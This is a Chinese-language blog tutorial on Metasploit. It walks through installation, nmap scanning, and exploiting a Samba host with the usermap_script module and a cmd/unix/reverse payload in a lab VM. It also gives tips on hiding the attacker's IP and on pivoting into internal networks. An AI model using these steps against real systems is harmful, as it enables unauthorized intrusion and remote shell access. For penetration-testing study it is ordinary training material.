查看原文
其他

Metasploit 使用浅析

shark-CV 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488


Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。


安装Metasploit


kali linux本身有自带,如果已经装有kali linux的小伙伴可以忽略。


第一步:打开linux控制台,切换到root权限。

相关命令:sudo su

第二步:安装curl

相关命令:apt-get install -y curl

第三步:下载metasploit安装文件

相关命令:curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall


第四步:赋予安装文件执行权限

相关命令:chmod 755 msfinstall

第五步:执行安装文件

相关命令:./msfinstall

等待下载安装完成,差不多差不多10来分钟,安装完成。


第六步,启动metasploit

在控制台输入msfconsole即可进入metasploit~

启动命令:msfconsole

启动成功,版本为metasploit v4.15.5


使用nmap进行端口扫描


检查系统漏洞的关键,就是检测端口的开放,这个也是metasploit种exploit模块经常要设置参数的原因,所以nmap很好的解决了这个需求,通常使用:nmap –sV IP(或者域名),如果机器设置有防火墙禁ping,可以使用nmap -P0(或者-Pn) –sV IP(或者域名),通过这两个命令可以查看主机的开放情况: 



如图,可以看到靶机开放的端口,开放状态,服务类型,和版本号,其中渗透最重要的两个参数是开放状态和版本号。如果端口是关闭的,那就不可能渗透了,一般是防火墙过滤了,但如果是过滤的话,还是可以尝试攻击(我没成功过,应该有一定可能成功);版本号也就是系统扫描中,在开发安全扫描件里经常提及的漏洞指纹,因为大部分漏洞的产生就是某一版本的问题。 

我们此次攻击的139端口,如图中,可以看到服务的指纹信息,主要就是服务名称和版本号,是叫samba的服务,处于3.X-4.X版本。

此步强调:

a、 nmap的参数居多,但是可以通过英语简写记,比如:-sV :s 技术scan ,V就是version。(我英语不好,也不知道是不是对的) 

b、 通过nmap主要是知道端口开放情况(STATE)和指纹信息(服务名称和版本号),然后可以根据指纹信息百度,该版本是否存在漏洞,然后按百度操作证明。

使用search命令查找相关模块


就刚才我们锁定的139端口的版本信息,我们可以通过search命令查找相关的扫描脚本。命令格式:search Name。本例就是:search samba



如图,加班也有很多属性,其中最重要的就是他的等级,一般有限选择excellent和great两种等级,因为稳定且效果明显,其次重要的就是后面的描述是否和我们攻击的服务有关,最后记住需要的模块,在后面攻击是使用。


此步强调:


a、 攻击模块的等级很重要,依次选择excellent和great,其他模块并不是很好或者效果不明显。(后期我可能出一个metasploit二次开发的编程,使用脚本,可以简单快速的进行渗透,并且解决低等级模块多,手工慢的特点。) 
b、 英语非常重要,但是要求也不高,能把提示看懂就行,这个对渗透帮助巨大,因为大部分好的开源工具都是英文提示。 


c、 还有图中第二行没有标明的一个问题,说我没有建立数据库,建议大家在使用metasploit以前,打开postgresql数据库,有很多难度姿势需要依赖,在此我就不举例了。


使用use调度模块


找到了我们需要攻击的目标模块,我们就使用它,通过命令:use ExploitName 。该例就是:use exploit/multi/samba/usermap_script。



如图,出现第二行,就是说明模块加载成功。 

技巧:如果是知道使用哪个模块,可以输入每个 / 后的前2-4个字母使用table补齐,或者直接复制刚才找到模块。(建议大家都使用Linux操作系统,只需要命令就能解决很多问题,而且本人偏开发,在开发的时候,Linux使用也会比Windows多些优势)


使用info查看模块信息


这步最简单,就是在上步的基础上,输入info就行: 



主要就是看图中标红的描述,确定是否针对漏洞(该步基本可省略,但是为了了解学习,还是建议看看)


选择payload作为攻击


选择payload,首先我们要看能使用哪些参数,通过命令:show payloads:



在选择攻击载荷的时候,建议选用和meterpreter和reverse相关的载荷,本次攻击就选用图中标红的。 

通过使用命令:set payload PayloadName。

该例为:set payload cmd/unix/reverse: 



出现第二行,表示设置成功。 

技巧: 

a、 meterpreter在metasploit中有什么瑞士尖刀的称呼,可以很好的做到后渗透攻击以及内网渗透,可以参看meterpreter使用。 

b、 reverse解释是反弹,由于你攻击的目标机可能处在内网里,所以你攻击的时候存在端口映射等方面的问题,所以如果使用反弹,这个可以更稳定。(我是这么理解的,建议百度反弹shell,玄魂的解释挺不错)


设置攻击参数


首先通过show options或者options,查看需要填写的参数:



其中标红处如果是yes,表示这行参数必须填写,如果是no,就是选填,其中有LHOST和RHOST是空,我们根据后面的描述,填上靶机和本地主机的信息。 



RHOST 填写目标机IP,LHOST填写本机IP。 

技巧: 

a、 在真实的环境中,RPORT可能并不是默认的参数,由于一个服务是放在内网当中,他通过路由器转发,可能会出现端口的变化(端口映射),比如我们刚才扫描出该服务的端口可能就不是139,而是XXX,这个时候,我们就要设置RPORT为XXX,这点非常重要。 

b、 exploit target也是非常重要的参数,在你确切的知道目标的系统的时候,可以通过show targets,查看目标系统有哪些: 



查看目标的系统,可以使用:nmap –O IP,然后使用set target ID选择目标类型,主要用于增加成功率。 

c、 由于本机的IP在内网,所以基本不会变,可以使用setg代替set,这样在手工的时候换攻击模块,少输入几个字母。


渗透攻击


上面参数填好后,应该是如下情况:



就是参数完整,然后使用exploit或者run就行了,对于部分攻击模块,可以使用check来判断: 



图中的靶机ip由于我是通过虚拟机主机模式做的,所以ip和端口都是原生的,但如果是渗透到内网的某个主机,那显示的本地地址可能和你的攻击地址产生不同,这个时候就恭喜你的渗透到内网,你可以通过使用添加路由的方式,进行内网渗透。 

技巧:使用check判断,不会生成session,这样就不会暴露自己的ip地址,但是也就不能getshell。


总结


a、 英语很重要,就算不学太多单词,在使用工具中出现的单词,建议查找记忆。 


b、 在文章中没提出在计算机中用的最常见的一个参数 “-h”,就算help,很多操作都可以通过帮助来使用,所以再次说明英语重要。 


c、 参数众多的情况下,就记住主要的参数,比如本文针对exploit模块,基本常用的命令(除了show advanced 和设置其中的参数)

【推荐书籍】

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存